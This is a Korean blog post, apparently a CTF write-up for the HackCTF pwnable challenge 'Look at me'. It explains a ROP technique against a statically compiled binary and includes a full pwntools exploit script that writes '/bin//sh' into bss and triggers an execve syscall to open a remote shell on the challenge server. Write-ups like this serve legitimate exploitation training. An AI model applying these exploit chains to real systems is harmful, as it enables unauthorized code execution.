ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] Look at me
    Wargame/HackCTF 2020. 1. 1. 22:36

     

    정적 컴파일 되어 있는 binary이다.

     

    처음에는 되게 '어떻게 풀어야 될까..' 하면서 막막해 했는데,

    역시 구글은 참 좋은거 같다.

     

    'static binary exploit' 이라고 쳐보니, 다른 CTF에서도 마찬가지로 정적 컴파일된 binary를

    문제로 내놓았었다.

     

    풀이는 다음과 같다.

     

    bss영역에 '/bin//sh'을 넣고, eax를 syscall에서 execve 번호인 11로,

    ebx를 bss영역으로, ecx, edx를 bss+9(NULL Pointer)로 맞춰준다.

     

    이때, 저런 가젯이 다 있을까.. 하는데 정적 컴파일된 binary라 가젯이 넘쳐나니까 마음껏 쓰면 된다.

     

    또, ecx, edx를 bss+9(NULL Pointer)로 맞춰준 이유는

    execve 함수의 2번째 인자와 3번째 인자로 지정하기 위해서이다.

     

    exploit.py

    from pwn import *
    
    r = remote('ctf.j0n9hyun.xyz', 3017)
    #r = process('./lookatme')
    
    pop_eax = p32(0x080b81c6)
    pop_ebx = p32(0x080bb312)
    pop_ecx = p32(0x080de955)
    pop_edx = p32(0x0806f02a)
    xor_eax = p32(0x08049303)
    inc_eax = p32(0x0807a86f)
    syscall = p32(0x080d29c3)
    mov_edx_eax = p32(0x080549db)
    
    bss = 0x80eb1a8
    
    shellcode = ''
    
    # mov bss, '/bin'
    shellcode += pop_edx
    shellcode += p32(bss)
    shellcode += pop_eax
    shellcode += '/bin'
    shellcode += mov_edx_eax
    
    # mov bss, '//sh'
    shellcode += pop_edx
    shellcode += p32(bss+0x4)
    shellcode += pop_eax
    shellcode += '//sh'
    shellcode += mov_edx_eax
    
    # execve args
    shellcode += pop_ebx
    shellcode += p32(bss)
    shellcode += pop_ecx
    shellcode += p32(bss+0x9)
    shellcode += pop_edx
    shellcode += p32(bss+0x9)
    
    # syscall settings -> eax 11
    shellcode += xor_eax
    shellcode += inc_eax*11
    
    # syscall
    shellcode += syscall
    
    payload = ''
    payload += "A"*28
    payload += shellcode
    
    r.sendlineafter('\n', payload)
    r.interactive()

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] You are silver  (0) 2020.01.08
    [Pwnable] UAF  (0) 2020.01.05
    [Pwnable] Random  (0) 2020.01.01
    [Pwnable] gpwn  (0) 2019.12.29
    [Reversing] BabyMIPS  (0) 2019.12.29

    댓글

Designed by Tistory.